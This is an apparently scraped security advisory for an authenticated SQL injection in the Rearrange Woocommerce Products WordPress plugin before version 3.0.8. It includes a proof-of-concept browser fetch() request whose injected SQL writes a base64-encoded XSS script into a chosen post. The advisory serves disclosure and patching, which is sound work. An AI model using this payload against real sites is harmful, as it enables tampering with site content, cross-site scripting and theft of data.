Lucene search

K
wpvulndbKrzysztof ZającWPVDB-ID:3762A77C-B8C9-428F-877C-BBFD7958E7BE
HistoryJan 05, 2022 - 12:00 a.m.

Rearrange Woocommerce Products < 3.0.8 - Subscriber+ SQL Injection

2022-01-0500:00:00
Krzysztof Zając
wpscan.com
6

0.001 Low

EPSS

Percentile

24.9%

The plugin does not have proper access controls in the save_all_order AJAX action, nor validation and escaping when inserting user data in SQL statement, leading to an SQL injection, and allowing any authenticated user, such as subscriber, to modify arbitrary post content (for example with an XSS payload), as well as exfiltrate any data by copying it to another post. SQLi was fixed in 3.0.5, proper authorisation and CSRF checks were added in 3.0.8

PoC

As a subscriber, run the below command in the web developer console of the browser fetch(“https://example.com/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “body”: new URLSearchParams({“action”:“save_all_order”,“sort_orders[1]”:“’ THEN 1 END), post_content=FROM_BASE64(‘PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=’) where id=811 – g”}), “method”: “POST”, “credentials”: “include” }) .then(response => response.text()) .then(data => console.log(data)); This will put an XSS payload () in the post with the ID 811

CPENameOperatorVersion
rearrange-woocommerce-productslt3.0.8

0.001 Low

EPSS

Percentile

24.9%

Related for WPVDB-ID:3762A77C-B8C9-428F-877C-BBFD7958E7BE